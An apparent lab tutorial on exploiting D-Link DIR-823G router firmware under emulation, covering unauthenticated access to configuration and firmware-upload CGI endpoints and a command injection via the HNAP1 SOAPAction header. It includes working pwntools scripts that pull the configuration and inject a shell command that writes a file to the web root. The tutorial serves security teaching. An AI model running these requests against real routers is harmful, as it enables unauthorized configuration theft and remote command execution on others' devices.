IoT security
Article directory
IoT vulnerability exploitation practice 1 (logic vulnerability)
Purpose
Learn to use fat to simulate IoT device firmware
Learn to use IDA to analyze the logic vulnerabilities of service programs in device firmware
Learn to use pwntools to interact with IoT device services and trigger the vulnerability
lab environment
Operating machine: Ubuntu 20.04 [Username: user Password: user]
Experimental tools
qemu
fat
binwalk
pwntools
IDA pro
Experimental principle
There may be various vulnerabilities in IoT devices. In summary, these vulnerabilities can be roughly divided into two categories, one is memory corruption vulnerabilities, and the other is logic vulnerabilities. Among logical vulnerabilities, unauthorized access vulnerabilities and command injection vulnerabilities are the most common.
Unauthorized access vulnerabilities can be understood as flaws in addresses and authorization pages that require security configuration or permission authentication, allowing any user who is not an administrator to directly access, thereby causing important permissions to be manipulated, database or Sensitive information such as device memory is leaked.
The command injection vulnerability refers to that because the service program in the device does not strictly filter the data submitted by the user, a malicious user can submit data to the application by constructing a special command string, and Use this method to execute external programs or system commands to carry out attacks and illegally obtain data or device information.
Experiment content
Use FAT to simulate IoT device firmware
Exploit the unauthorized access vulnerability of IoT devices
Exploit the command injection vulnerability of IoT devices
Experimental steps
Use fat to simulate IoT device firmware
The device used for testing in this practical lesson is Dlink DIR-823G. First, use the fat tool to quickly simulate and run the device's firmware. Enter the following commands in sequence to enter the directory of the tool, and use the tool to simulate the firmware file DIR823GA1_FW102B03.bin.
$ cd ~/firmware-analysis-toolkit
$ ./fat.py ~/Desktop/experiment2/DIR823GA1_FW102B03.bin
The fat tool will automatically decompress the firmware and modify the kernel, then repackage it, and finally use QEMU to simulate running the repackaged firmware, but you need to wait for a while for the tool to automatically configure the network card and IP address suitable for the routing device.
When the information shown in the figure below is displayed, it means that the firmware can be simulated and run normally.
Press the Enter key to enter the QEMU simulated terminal. The address of the simulated Dlink DIR-823G device is 192.168.0.1. It can be found that the terminal keeps outputting information, but it does not actually affect the input of commands.
You can access the management page of the simulated device in a browser for verification. If the display is as shown in the figure below, it means that the simulated router service is normal.
Exploiting unauthorized access vulnerabilities in IoT devices
The routing device Dlink DIR-823G interacts with users through the web management interface. The actual functions are implemented by calling cgi, but its web service program is goahead There is no permission verification for the corresponding cgi file, allowing unauthorized users to directly access the cgi with corresponding functions, causing serious impact on the device.
The device has the following unauthorized access to the called cgi:
/cgi-bin/ExportSettings.sh Export configuration file (information leakage)
/cgi-bin/upload_settings.cgi Import configuration file (malicious tampering with configuration)
/cgi-bin/upload_firmware.cgi Upload updated firmware (maliciously modify firmware)
Take unauthorized access to the /cgi-bin/ExportSettings.sh export configuration file as an example. You can first set up an administrator user on the management page of the simulated router.
After logging out of the user account, access /cgi-bin/ExportSettings.sh directly through the browser as an anonymous user and find that the configuration file can be exported normally.
Or you can directly use the following pwntools script to forge an HTTP request to access the routing device /cgi-bin/ExportSettings.sh, and you can also obtain the configuration file of the device.
from pwn import *
context.log_level = 'debug'
io = remote('192.168.0.1', 80)
content = '''GET /cgi-bin/ExportSettings.sh HTTP/1.1\r
Host: 192.168.0.1\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Accept: */*\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'''
io.send(content)
io.recv(1000)
io.recv(1000)
io.close()
Exploit the command injection vulnerability in IoT devices
The web service program goahead of the routing device Dlink DIR-823G also has a command injection vulnerability. First, pass the command binwalk -Me ./DIR823GA1_FW102B03.bin Unpack its firmware.
Enter the unpacked firmware root directory squashfs-root/bin/, find its web service program goahead, and use the file command to check that its architecture is MIPS.
Then use the command wine ~/IDAPro7.5/ida.exe to open IDA, and load the program goahead in the firmware to be analyzed through IDA
And press the G key to open the address jump window, enter 0x42383C, and jump to the vulnerable function sub_42383C.
Then press the F5 key to view the decompiled code of function sub_42383C. It is not difficult to see that there is a command injection vulnerability.
Press the X key on the function name and through cross-reference, reversely analyze the trigger flow of the vulnerable function as:
main -> sub_423F90 -> sub_42383C
Through the sub_423F90 function, it can be analyzed that the sub_42383C function is the corresponding processing function when accessing the url /HNAP1.
16
Before triggering the command injection vulnerability, there is no hack.txt file in the web_mtn directory of the terminal that simulates the routing device firmware.
17
At the same time, the browser cannot access the hack.txt file.
The following pwntools script can be used to generate a request that can trigger the command injection vulnerability. The command executed by this malicious request is echo hacked_by_01dwang!!! > /web_mtn/hack.txt, which is written to the web_mtn directory of the root directory of the web page of the device. hack.txt file.
from pwn import *
context.log_level = 'debug'
io = remote('192.168.0.1', 80)
content = '''POST /HNAP1/ HTTP/1.1\r
Host: 192.168.0.1\r
Content-Length: 54\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Content-Type: text/xml; charset=UTF-8\r
Accept: */*\r
SOAPAction: "http://purenetworks.com/HNAP1/Login"\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'`echo hacked_by_01dwang!!!!!!!! > /web_mtn/hack.txt`'
'''
io.send(content)
io.recv(1000)
io.close()
After the command injection vulnerability is triggered by a malicious request generated by a script, a hack.txt file is generated in the web_mtn directory in the terminal of the routing device.
At the same time, the browser can also access the hack.txt file.
